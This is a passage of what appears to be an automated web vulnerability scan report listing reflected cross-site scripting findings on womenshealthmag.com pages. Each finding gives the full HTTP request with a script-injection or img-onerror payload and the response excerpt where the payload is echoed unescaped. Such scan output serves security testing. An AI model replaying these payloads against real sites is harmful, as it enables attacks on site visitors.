User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:21:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:21:45 GMT
Date: Thu, 10 Mar 2011 17:21:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 72616

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/articles?ea265"><script>alert(1)</script>d0c0c47dd18=1">
...[SNIP]...

2.1030. http://www.womenshealthmag.com/beauty-and-style [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/beauty-and-style

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f07d"><script>alert(1)</script>adf907ba27b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beauty-and-style?9f07d"><script>alert(1)</script>adf907ba27b=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:17 GMT
Date: Thu, 10 Mar 2011 17:23:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/beauty-and-style?9f07d"><script>alert(1)</script>adf907ba27b=1">
...[SNIP]...

2.1031. http://www.womenshealthmag.com/beauty-and-style/aveda-lipgloss [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/beauty-and-style/aveda-lipgloss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67ed2"><script>alert(1)</script>c1909d12193 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beauty-and-style/aveda-lipgloss?67ed2"><script>alert(1)</script>c1909d12193=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:03 GMT
Date: Thu, 10 Mar 2011 17:22:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 61645

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/beauty-and-style/aveda-lipgloss?67ed2"><script>alert(1)</script>c1909d12193=1">
...[SNIP]...

2.1032. http://www.womenshealthmag.com/beauty-and-style/beauty [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/beauty-and-style/beauty

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d1ce"><script>alert(1)</script>5be64088e69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beauty-and-style/beauty?9d1ce"><script>alert(1)</script>5be64088e69=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:03 GMT
Date: Thu, 10 Mar 2011 17:22:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 53176

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/beauty-and-style/beauty?9d1ce"><script>alert(1)</script>5be64088e69=1">
...[SNIP]...

2.1033. http://www.womenshealthmag.com/beauty-and-style/style-and-fashion [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/beauty-and-style/style-and-fashion

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1374f"><script>alert(1)</script>31ac612b63a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beauty-and-style/style-and-fashion?1374f"><script>alert(1)</script>31ac612b63a=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:03 GMT
Date: Thu, 10 Mar 2011 17:22:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 53429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/beauty-and-style/style-and-fashion?1374f"><script>alert(1)</script>31ac612b63a=1">
...[SNIP]...

2.1034. http://www.womenshealthmag.com/blog/thebeautylab [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/blog/thebeautylab

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 608d9"><script>alert(1)</script>3808123ba2a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/thebeautylab608d9"><script>alert(1)</script>3808123ba2a HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:00 GMT
Date: Thu, 10 Mar 2011 17:24:00 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/blog/thebeautylab608d9"><script>alert(1)</script>3808123ba2a" />
...[SNIP]...

2.1035. http://www.womenshealthmag.com/blog/thebeautylab [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/blog/thebeautylab

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1f21c'><img%20src%3da%20onerror%3dalert(1)>e49ea9742c5 was submitted in the REST URL parameter 2. This input was echoed as 1f21c'><img src=a onerror=alert(1)>e49ea9742c5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /blog/thebeautylab1f21c'><img%20src%3da%20onerror%3dalert(1)>e49ea9742c5 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:21 GMT
Date: Thu, 10 Mar 2011 17:24:21 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<div id='sharethebeautylab1f21c'><img src=a onerror=alert(1)>e49ea9742c5'>
...[SNIP]...

2.1036. http://www.womenshealthmag.com/blog/thebeautylab [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/blog/thebeautylab

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc358"><script>alert(1)</script>d95cb19ffcd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/thebeautylab?cc358"><script>alert(1)</script>d95cb19ffcd=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:53:20 GMT
Date: Thu, 10 Mar 2011 17:23:20 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 65216

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/blog/thebeautylab?cc358"><script>alert(1)</script>d95cb19ffcd=1">
...[SNIP]...

2.1037. http://www.womenshealthmag.com/blogs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/blogs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b56ec"><script>alert(1)</script>671a9e2246d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blogs?b56ec"><script>alert(1)</script>671a9e2246d=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:23:01 GMT
Date: Thu, 10 Mar 2011 17:23:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 49141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/blogs?b56ec"><script>alert(1)</script>671a9e2246d=1">
...[SNIP]...

2.1038. http://www.womenshealthmag.com/features [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/features

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8aaab"><script>alert(1)</script>499b1370e8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /features?8aaab"><script>alert(1)</script>499b1370e8e=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:28 GMT
Date: Thu, 10 Mar 2011 17:22:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 72356

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/features?8aaab"><script>alert(1)</script>499b1370e8e=1">
...[SNIP]...

2.1039. http://www.womenshealthmag.com/fitness [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/fitness

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d334"><script>alert(1)</script>fb724f12f93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fitness?4d334"><script>alert(1)</script>fb724f12f93=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:03 GMT
Date: Thu, 10 Mar 2011 17:22:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93110

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/fitness?4d334"><script>alert(1)</script>fb724f12f93=1">
...[SNIP]...

2.1040. http://www.womenshealthmag.com/fitness/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/fitness/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d322b"><script>alert(1)</script>e59e1ecd8b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fitness/?d322b"><script>alert(1)</script>e59e1ecd8b0=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:12 GMT
Date: Thu, 10 Mar 2011 17:22:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 92870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/fitness/?d322b"><script>alert(1)</script>e59e1ecd8b0=1">
...[SNIP]...

2.1041. http://www.womenshealthmag.com/fitness/swiss-ball-workout [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/fitness/swiss-ball-workout

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89a69"><script>alert(1)</script>92bf2cc3e85 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fitness/swiss-ball-workout?89a69"><script>alert(1)</script>92bf2cc3e85=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:38 GMT
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 17:22:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:22:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS6911473e6d5776adb8a627b31c36c89e=e737714cf69d8075b2ae243d87262141; path=/; domain=.womenshealthmag.com
Content-Length: 41699

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/fitness/swiss-ball-workout?89a69"><script>alert(1)</script>92bf2cc3e85=1">
...[SNIP]...

2.1042. http://www.womenshealthmag.com/fitness/tony-horton [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/fitness/tony-horton

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91378"><script>alert(1)</script>d6e2d1a6ed5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fitness/tony-horton?91378"><script>alert(1)</script>d6e2d1a6ed5=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:10 GMT
Date: Thu, 10 Mar 2011 17:22:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 57854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/fitness/tony-horton?91378"><script>alert(1)</script>d6e2d1a6ed5=1">
...[SNIP]...

2.1043. http://www.womenshealthmag.com/health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96133"><script>alert(1)</script>c5e0fa0466a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health?96133"><script>alert(1)</script>c5e0fa0466a=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:08 GMT
Date: Thu, 10 Mar 2011 17:22:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 92470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health?96133"><script>alert(1)</script>c5e0fa0466a=1">
...[SNIP]...

2.1044. http://www.womenshealthmag.com/health/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd2dc"><script>alert(1)</script>665497b8340 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/?bd2dc"><script>alert(1)</script>665497b8340=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
